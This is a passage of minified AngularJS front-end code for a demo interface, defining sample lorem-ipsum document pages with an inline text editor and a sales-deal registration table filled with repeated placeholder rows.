 ipsum dolor sit amet<\/b>\nconsectetur adipisicing..."}},{id:2,type:"text",style:{font:"Arial",size:18,color:"#ffffff",align:"center",width:.4,height:.03,top:.699,left:.3},settings:{editable:!0,min:0,max:100},content:{text:"Lorem ipsum dolor sit amet"}},{id:3,type:"text",style:{font:"Arial",size:15,color:"#ffffff",align:"center",width:.4,height:.03,top:.736,left:.3},settings:{editable:!0,min:0,max:100},content:{text:"<i>Lorem ipsum dolor sit amet<\/i>"}},{id:4,type:"text",style:{font:"Arial",size:12,color:"#999999",align:"left",width:.7,height:.08,top:.8,left:.15},settings:{editable:!0,min:0,max:100},content:{text:"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia..."}}]},{width:"8.5",height:"11",scan:"../../../../../assets/img/sample/flyer-2.jpg",elements:[]},{width:"6",height:"4",scan:"../../../../../assets/img/sample/postcard-1.jpg",elements:[]}]};n.active_element=null;n.activateElement=function(t,i){var r,e,u,f;for(n.active_element=t,r=0;r<n.document.pages.length;r++)for(e=n.document.pages[r],u=0;u<e.elements.length;u++)f=e.elements[u],t&&t.id==f.id?(f.active=!0,t.type=="text"&&($(i.target).draggable({disabled:!0}),$(i.target).find(".document-element-text").froalaEditor({toolbarInline:!0,charCounterCount:!1,toolbarButtons:["bold","italic","underline","strikeThrough","color","-","paragraphFormat","align","formatOL","formatUL","indent","outdent","-","insertImage","insertLink","insertFile","insertVideo","undo","redo"]}))):f.active=!1}});c5App.controller("c5-Controller",function(n){n.items=[];n.items_selected=0;n.$watchCollection("items",function(){var t=0;for(var i in n.items)n.items[i]&&t++;n.items_selected=t});n.data={columns:[{type:"check",responsive:!1},{type:"sort",label:"Deal Name"},{type:"sort",label:"Parner"},{type:"sort",label:"Country"},{type:"sort",label:"State",sorted:!0,order:1},{type:"sort",label:"Assigned to"},{type:"sort",label:"Account"},{type:"sort",label:"Amount"},{type:"sort",label:"Close Date"},{type:"sort",label:"Stage"},{type:"sort",label:"Days in Stage"},{type:"sort",label:"Source"},{type:"sort",label:"Campaign"},{type:"sort",label:"Last Update"},{type:"sort",label:"Reg Status"},{type:"sort",label:"Expiration Date"},{type:"sort",label:"Reg Assigned"},{type:"sort",label:"Partner Action"},{type:"sort",label:"Vendor Action"},{type:"sort",label:"Created"},{type:"sort",label:"MDF Request"},{type:"sort",label:"Salesforce"},{type:"sort",label:"Archived"},],rows:[[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"$12,000"},{type:"data",content:"02.23.2015"},{type:"data",content:"120"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Kyoto University",link:"#",primary:!0},{type:"data",content:"Kambei Technologies",link:"#"},{type:"data",content:"Japan"},{type:"data",content:"Kanagawa Prefecture",sorted:!0},{type:"data",content:"Toshiro Mifune"},{type:"data",content:"Kyoto University",link:"#"},{type:"data",content:"$10,000"},{type:"data",content:"01.01.2015"},{type:"data",content:"380"},{type:"data",content:"Partner"},{type:"data",content:""},{type:"data",content:"01.03.2015"},{type:"data",content:"New (Open)"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:"01.03.2014"},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""},{type:"data",content:""}],[{type:"check",responsive:!1},{type:"data",content:"Arlington Campus",link:"#",primary:!0},{type:"data",content:"DC Utilities Ltd.",link:"#"},{type:"data",content:"USA"},{type:"data",content:"Virginia",sorted:!0},{type:"data",content:"John Armonk"},{type:"data",content:"DC 